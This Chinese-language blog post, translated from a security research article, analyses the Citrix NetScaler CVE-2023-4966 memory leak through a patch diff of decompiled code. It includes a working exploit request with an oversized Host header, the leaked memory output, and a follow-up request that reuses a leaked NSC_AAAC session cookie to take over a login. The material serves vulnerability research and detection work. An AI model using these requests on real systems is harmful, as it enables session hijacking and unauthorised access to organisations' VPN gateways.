声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
文章首发于个人博客:https://mybeibei.net,点击最下方“阅读原文”可直接跳转查看。
背景介绍
本月早些时候,Citrix 发布了一份安全公告,其中提到了“未经身份验证的缓冲区相关漏洞”和两个 CVE。这些问题影响了 Citrix NetScaler ADC 和 NetScaler Gateway。
该漏洞被描述为“敏感信息泄露”,CVSS 评分为 9.4。信息泄露漏洞的高分以及“缓冲区相关漏洞”的提及引起了国外研究人员的兴趣。
本文的目的是了解该漏洞并为攻击面管理平台开发检查规则。
对于那些不熟悉 Citrix NetScaler 的人来说,它是一种提供负载均衡、防火墙和 VPN 服务的网络设备, NetScaler Gateway 通常指 VPN 和身份验证组件,而 ADC 指负载均衡和流量管理功能。
对于只想查看漏洞利用或泄露测试的人,可以观看以下演示视频:
请点击文末“阅读原文”观看。
补丁对比
首先安装和配置要比较的两个版本。本文选择了13.1-49.15和13.1-48.47,通过之前使用 NetScaler 的经历,需要查看 /netscaler/nsppe 二进制文件,这是 NetScaler 数据包处理引擎,它包含了完整的 TCP/IP 网络堆栈以及多个 HTTP 服务,如果 NetScaler 中存在漏洞,那么首先要注意的就是这个漏洞。
研究人员使用 Ghidra 反编译了两个版本的 nsppe,并使用 BinExport 扩展创建了 BinDiff 文件,由于二进制文件非常大,因此该过程持续了一段时间,为了确保成功,研究人员将“编辑”->“工具选项”->“反编译器”下的反编译器设置调整为以下内容:
-
Cache Size (Functions): 2048
缓存大小(功能):2048 -
Decompiler Max-Payload (Mbytes): 512
反编译器最大有效负载(MB):512 -
Decompiler Timeout (seconds): 900
反编译器超时(秒):900 -
Max Instructions per Function: 3000000
每个功能的最大指令数:3000000
创建 BinDiff 文件后,开始进行比较,发现了大约 50 个函数发生了变化。
寻找易受攻击的函数
研究人员发现了两个突出的函数 ns_aaa_oauth_send_openid_config
和 ns_aaa_oauthrp_send_openid_config
,这两个函数执行类似的操作,它们实现 OpenID Connect Discovery 端点,这些功能可以分别通过 /oauth/idp/.well-known/openid-configuration
和 /oauth/rp/.well-known/openid-configuration
端点进行未经身份验证的访问。
这两个函数还包含相同的补丁,即发送响应之前的额外边界检查,可以在下面的代码片段中看到,显示了ns_aaa_oauth_send_openid_config
的前后变化。
原先代码:
iVar3 = snprintf(print_temp_rule,0x20000,
"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
generic
986 Bytes
© Guge's Blog
修复后代码:
uVar7 = snprintf(print_temp_rule,0x20000,
"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if(uVar7 <0x20000){
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
...
}
generic
1.02 KB
© Guge's Blog
该函数非常简单,它为 OpenID 配置生成 JSON Payload,并使用 snprintf 在Payload中的适当位置插入设备的主机名,在原始版本中,响应是立即发送的,而在修补版本中,仅当 snprintf 返回小于 0x20000 的值时才会发送响应。
该漏洞的产生是因为snprintf的返回值用于确定ns_vpn_send_response
向客户端发送了多少字节,这是一个问题,因为 snprintf 不会返回它写入缓冲区的字节数,如果 snprintf 返回的缓冲区足够大,就会写入缓冲区的字节数。
为了利用这一点,我们需要做的就是弄清楚如何使响应超过 0x20000 字节的缓冲区大小,然后,应用程序将使用完全填充的缓冲区以及紧随 print_temp_rule
缓冲区的任意内存进行响应。
漏洞利用
插入Payload中的值不是来自配置的主机名,实际上来自 HTTP Host Header。
幸运的是,NetScaler 将主机名插入到 Payload 中6次,这就意味可以达到 0x20000 字节的缓冲区限制,而不会因为主机标头或整个请求太长而遇到问题。
请求如下:
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
generic
105 Bytes
© Guge's Blog
收到的响应如下所示(其中删除了部分不可打印的字符):
HTTP/1.1200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/
{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí
generic
827 Bytes
© Guge's Blog
可以清楚地看到紧随 JSON 之后的大量内存泄漏,虽然其中很多是空字节,但响应中确实存在一些可疑的信息。
验证会话Token
由于 print_temp_rule
缓冲区是静态全局的,因此每次得到的响应都是相同的,这也使得测试变得容易,研究人员不必为了找到某些东西而运行请求数千次。
研究人员能够可靠地获取在响应中看到的 65 字节长的十六进制字符串,并通过将其用作 NSC_AAAC
会话 cookie 来验证它是否是有效的会话 cookie。
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close
HTTP/1.1200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web
testuser1
generic
453 Bytes
© Guge's Blog
并非每个 NetScaler 实例都配置为使用相同类型的身份验证,但在研究人员测试过的实例子中都可以在响应中找到 32 或 65 字节长的十六进制字符串。
最后的想法
尽管建议使用 snprintf 作为 sprintf 的安全替代,但仍需谨慎,使用 snprintf 虽然避免了缓冲区溢出,但随后的缓冲区过度读取仍会是一个问题。
与 Citrix NetScaler 之前的问题一样,由于缺乏其它深度防御技术和缓解措施,该问题变得更加严重。
不清除临时缓冲区中的敏感数据,以及对客户提供的数据进行更严格的验证,这两项最明显的缓解措施本可将损失降至最低。
原文:https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966?ref=weekly.infosecwriteups.com
由骨哥翻译并整理。
感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~
====正文结束====
原文始发于微信公众号(骨哥说事):Citrix滴血:CVE-2023-4966 泄漏Citrix会话Token
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论